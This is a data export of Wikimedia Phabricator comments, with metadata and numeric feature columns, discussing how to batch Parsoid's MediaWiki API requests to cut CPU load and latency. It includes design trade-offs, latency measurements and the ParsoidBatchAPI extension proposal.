+539538,Batch Parsoid's API requests,"@subbu, good point re load. Added the parse request rate for completeness.",,,1443744437,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+539530,Batch Parsoid's API requests,"You need to account for the spikiness in the load too. see http://grafana.wikimedia.org/#/dashboard/db/parsoid-timing-wt2html (zoom out to a 7-day window and look how the request rate was much closer to 200 reqs / sec last few days compared to < 150 reqs / sec earlier in the week (before batching was enabled). I am fairly confident that parsing latencies haven't been affected adversely based on monitoring this last couple days. But, I think we have to wait and watch this over the next couple weeks before we have a truer picture. 
+
+On the other hand, if you look at ganglia graphs for the API cluster, you do see a reduction in network traffic in/out of it (despite the higher parse load on the Parsoid end) + a downward trend in the load there.",,,1443743973,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+539546,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}
+
+Smoothed parse request rate:
+{F2652092}",,,1443744961,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+539545,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}
+
+Smoothed parse request rate:
+{F2652078}",,,1443744831,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+539537,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}
+
+Parse request rate:
+{F2652035}",,,1443744407,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+539533,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}",,,1443744243,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+539523,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}",,,1443743533,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+539521,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}",,,1443743341,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+539518,Batch Parsoid's API requests,"12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen):
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}",,,1443743180,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+539516,Batch Parsoid's API requests,"12-hour median latencies as seen by RESTBase in the last days:
+
+P99:
+{F2651940}
+
+Mean:
+{F2651943}",,,1443743150,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+508832,Batch Parsoid's API requests,"Change 227208 merged by jenkins-bot:
+Batch MW parser and imageinfo API requests
+
+[[https://gerrit.wikimedia.org/r/227208]]",,,1439607321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,False,,,110,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+497388,Batch Parsoid's API requests,"Change 227208 had a related patch set uploaded (by Tim Starling):
+Batch MW parser and imageinfo API requests
+
+[[https://gerrit.wikimedia.org/r/227208]]
+",,,1438000591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,False,,,108,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+497251,Batch Parsoid's API requests,"Sounds good to me since it looks like it keeps complexity down implementing this since the code can be customized to Parsoid's needs. But, once this is all ironed out and live, we should update docs for 3rd party Parsoid installs about requirement (unless batching can be made optional on the Parsoid end).",,,1437963707,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,108,,1,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+496804,Batch Parsoid's API requests,"@tstarling +1 from me. Your rationale covers all the things I would have brought up (and more). Sorry for being slow, @ssastry is vacationing and I'm not sure if @cscott's been following this thread.",,,1437781827,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,0,0
+496802,Batch Parsoid's API requests,@tstarling +1 from me. Your rationale covers all the things I would have brought up (and more). Sorry for being @ssastry is vacationing and I'm not sure if @cscott's been following this thread.,,,1437781808,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,0,0
+496793,Batch Parsoid's API requests,"No response, so I committed the MW extension to https://gerrit.wikimedia.org/r/#/c/226670/
+
+Still ironing out a couple of issues on the client side. A changeset will appear soon.",,,1437781171,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+493759,Batch Parsoid's API requests,"Please comment on the idea of doing batch parsing in an extension instead of in a core API module. I'd like to know if it sounds like a good idea before I create the Gerrit repository.
+
+The reasons for doing this were:
+* Simpler design, due to the smaller number of clients/stakeholders. Code size is only 135 physical lines, with no internal API calls, compared to 800 for action=parse and 218 for action=expandtemplates.
+* Allows the action=parse and action=expandtemplates modules to be easily combined. No need to break my head trying to think about generic Lua frontend batch processing APIs which allow arbitrary actions to be combined.
+* An API for parsoid use only can easily be policed for misuse or DoS, e.g. with IP-based access control. No need for restrictive server-side batch size limits which may interfere with optimal performance.
+* Expedient output format, based on b/c with action=parse and action=expandtemplates, which allows the client to share code with the fallback case.
+* Forking the API provides an easy path towards more aggressive integration with the MW parser, for example output annotation hooks.
+
+The proposed extension name is ParsoidBatchAPI.",,,1437369948,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+493757,Batch Parsoid's API requests,"I've written a client-side ""batcher"" class hierarchy, and a MediaWiki extension which does server-side batches of mixed parse and preprocess operations. The impact on both client and server CPU time is substantial, as expected from the discussion on T88915. For [[List of 20th-century classical composers]] with a batch size of 50, node CPU time went from 54s to 29s, and HHVM CPU time went from 216s to 70s.
+
+The impact on latency can't easily be measured in my current test setup.
+
+Unfortunately, it was necessary to treat each item in the batch as a distinct parse operation, with clearState(), since Parsoid wishes to know which categories are generated by which templates. This causes a number of useful caches to be discarded at the start of each batch item. This may be the reason why the HHVM CPU time is still 70s, even though running the text through expandtemplates as a whole takes only 10s. Increasing the batch size from 50 to 500 only reduced the HHVM CPU time to 65s.
+
+If clearState() was not done, it would not be easy to determine which template caused the addition of a given category. Consider the case of a template which is invoked with no arguments, which causes a tracking category to be added. If this template is invoked more than once in a parse operation, the expansion cache will prevent ParserOutput::addCategory() from being called on the second and subsequent invocations. This implies that the expansion cache would need to be disabled or rewritten to support this Parsoid use case.",,,1437368829,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,107,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+449183,Batch Parsoid's API requests,"We should also keep in mind the effect of batching on overall system reliability. In {T97204} I advocate for tight timeouts in backend services, combined with no client retries when encountering a server timeout. In general, batching makes it harder to establish tight timeouts on end points. We should thus limit it to end points where each batch action has a very predictable processing time, and the overall batch will always complete within a reasonable timeout (< 60s).",,,1429996047,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,94,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+449178,Batch Parsoid's API requests,"We should also keep in mind the effect of batching on overall system reliability. In {T97204} I advocate for tight timeouts in backend services, combined with no client retries when encountering a server timeout. In general, batching makes it harder to establish tight timeouts on end points. We should thus limit it to end points where each batch action has a very limited processing time, and the overall batch will always complete within a reasonable timeout (< 60s).",,,1429995562,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,94,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+413096,Batch Parsoid's API requests,I concur.,,,1424214020,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,85,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+413069,Batch Parsoid's API requests,"It is good thing to reduce the load on the API cluster, but I don't think this task should be a VE Q3 blocker. 
+
+Right now,
+(a) Parsoid tracks all edits -- so there is going to be no change in Parsoid parsing load (and hence API load) even if VE is enabled everywhere (assuming edit rate stays the same).
+(b) The current load on the API cluster is not problematic that forces us to work on this for VE deployment.
+
+So, I suggest that this task be removed from the VisualEditor Q3 Blockers workboard since there are other more higher priority issues to fix in Parsoid land.",,,1424212155,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,85,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+400152,Batch Parsoid's API requests,">>! In T45888#978615, @tstarling wrote:
+> The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.
+
+The amount of batching we can achieve on the long tail is bounded by the maximum latency penalty we are willing to introduce. A global batcher can combine requests from different API clients (not just parsoid), and should thus result in lower average latencies by filling up batches quickly (or reaching a given batching ratio with a lower maximum latency penalty).
+
+Also keep in mind that with selective re-expansion of templates those requests will become less common, which will make the single-client batch even less effective, as there are just less requests to combine within the time window.
+
+> Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.
+
+The number of connections has not been an issue in practice & would not change. On the proxy we could also enable [SPDY support](https://github.com/indutny/node-spdy), which reduces the number of connections to one per client & removes some per-request overhead. That said, I think the `Connection: close` bit can be removed. It was a work-around from an early node version IIRC, and is no longer needed.",,,1421339610,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1
+400151,Batch Parsoid's API requests,">>! In T45888#978615, @tstarling wrote:
+> The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.
+
+The amount of batching is bounded by the maximum latency penalty we are willing to introduce. A global batcher can combine requests from different API clients (not just parsoid), and should thus result in lower average latencies by filling up batches quickly (or reaching a given batching ratio with a lower maximum latency penalty).
+
+Also keep in mind that with selective re-expansion of templates those requests will become less common, which will make the single-client batch even less effective, as there are just less requests to combine within the time window.
+
+> Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.
+
+The number of connections has not been an issue in practice & would not change. On the proxy we could also enable [SPDY support](https://github.com/indutny/node-spdy), which reduces the number of connections to one per client & removes some per-request overhead. That said, I think the `Connection: close` bit can be removed. It was a work-around from an early node version IIRC, and is no longer needed.",,,1421339535,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1
+399933,Batch Parsoid's API requests,"The two main implementation options are: a batcher internal to parsoid, and a shared node.js batcher service. The internal batcher would operate roughly as follows:
+
+* Instead of having the token handlers directly dispatch HTTP requests, they would send their requests to a batcher service, which would be local to the current parse operation. The batcher API would be slightly different to the HTTP API, since it needs to be able to easily aggregate titles, and the batcher will take over responsibility for HTTP protocol details such as timeouts.
+* If the batch is full, the request can be dispatched on the next attempted queue insertion.
+* If Parsoid returns to the event loop with requests queued in the batch but not sent, the request could permanently hang. So in relevant code paths prior to returning to the event loop, Parsoid needs notify the batcher, giving it a last chance to check if there are any batch requests queued so that it can dispatch them.
+* Additionally, a timeout would be prudent, allowing Parsoid to recover from accidental return to the event loop without notification.
+
+Gabriel suggested an external batcher which, if I understand his proposal correctly, would operate as follows:
+
+* One cluster-wide batch queue per (wiki, action) tuple. 
+* Requests to the proxy would be held in the batch queue until either it fills, or some specified timeout (e.g. 10ms) is reached. Then the batch query would be sent to the MW backend.
+* While a request is waiting in the batch queue, and while it is waiting for the backend response, the client connections, one per item, would be held open. Responses would be sent to these clients after the batch query returns from the backend.
+* This architecture avoids the need for significant changes inside Parsoid.
+
+The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.
+
+Explicit notification of the idle event avoids severe tradeoffs between batch size and latency. It can be implemented in either the internal or external design. But the need for idle event notification would reduce the attractiveness of the external batcher -- it would make the service stateful and its advantages in simplicity on the Parsoid side would be reduced. There is a risk that idle events could be lost anyway, and a timeout incurred, due to exhaustion of the client connection limit (globalAgent.maxSockets).
+
+Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.",,,1421295841,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+399932,Batch Parsoid's API requests,"The two main implementations are: a batcher internal to parsoid, and a shared node.js batcher service. The internal batcher would operate roughly as follows:
+
+* Instead of having the token handlers directly dispatch HTTP requests, they would send their requests to a batcher service, which would be local to the current parse operation. The batcher API would be slightly different to the HTTP API, since it needs to be able to easily aggregate titles, and the batcher will take over responsibility for HTTP protocol details such as timeouts.
+* If the batch is full, the request can be dispatched on the next attempted queue insertion.
+* If Parsoid returns to the event loop with requests queued in the batch but not sent, the request could permanently hang. So in relevant code paths prior to returning to the event loop, Parsoid needs notify the batcher, giving it a last chance to check if there are any batch requests queued so that it can dispatch them.
+* Additionally, a timeout would be prudent, allowing Parsoid to recover from accidental return to the event loop without notification.
+
+Gabriel suggested an external batcher which, if I understand his proposal correctly, would operate as follows:
+
+* One cluster-wide batch queue per (wiki, action) tuple. 
+* Requests to the proxy would be held in the batch queue until either it fills, or some specified timeout (e.g. 10ms) is reached. Then the batch query would be sent to the MW backend.
+* While a request is waiting in the batch queue, and while it is waiting for the backend response, the client connections, one per item, would be held open. Responses would be sent to these clients after the batch query returns from the backend.
+* This architecture avoids the need for significant changes inside Parsoid.
+
+The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.
+
+Explicit notification of the idle event avoids severe tradeoffs between batch size and latency. It can be implemented in either the internal or external design. But the need for idle event notification would reduce the attractiveness of the external batcher -- it would make the service stateful and its advantages in simplicity on the Parsoid side would be reduced. There is a risk that idle events could be lost anyway, and a timeout incurred, due to exhaustion of the client connection limit (globalAgent.maxSockets).
+
+Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.",,,1421295823,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+399330,Batch Parsoid's API requests,"Request batching appears to be simple to implement (~100 lines according to @gwicke) and would cause a substantial decrease in API cluster CPU load. By switching it on only for requests initiated by the job queue, there would be no effect on user latency.
+
+> The problem with general batching is that state in MediaWiki is not very well defined. Several extensions for example keep internal state between calls to tag hooks, and resetting that state between individual requests in a batch would probably produce a similar overhead as the regular per-request setup (30+ms).
+
+No, parser state in MediaWiki is very well-defined, it is defined as the data which is cleared by Parser::clearState(). Extensions which keep internal state hook this function in order to clear their state. MediaWiki is reasonably well-optimised for clearing the parser state, since message parsing does so, often tens of times per request. The overhead is orders of magnitude smaller than the request setup time.
+
+> The current performance numbers combined with several optimizations aimed at avoiding API requests lessened the need for API request batching on our end.
+
+Parsoid is still by far the largest API consumer by CPU time.
+
+> Speeding up individual API requests is a general architectural goal, and should be addressed in that context. Closing this bug as WONTFIX on our end.
+
+I am familiar with MW setup time optimisation, and compared to that large, ongoing effort, Parsoid request batching looks like low-hanging fruit.",,,1421212316,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+227105,Batch Parsoid's API requests,"The current performance numbers combined with several optimizations aimed at avoiding API requests lessened the need for API request batching on our end.
+
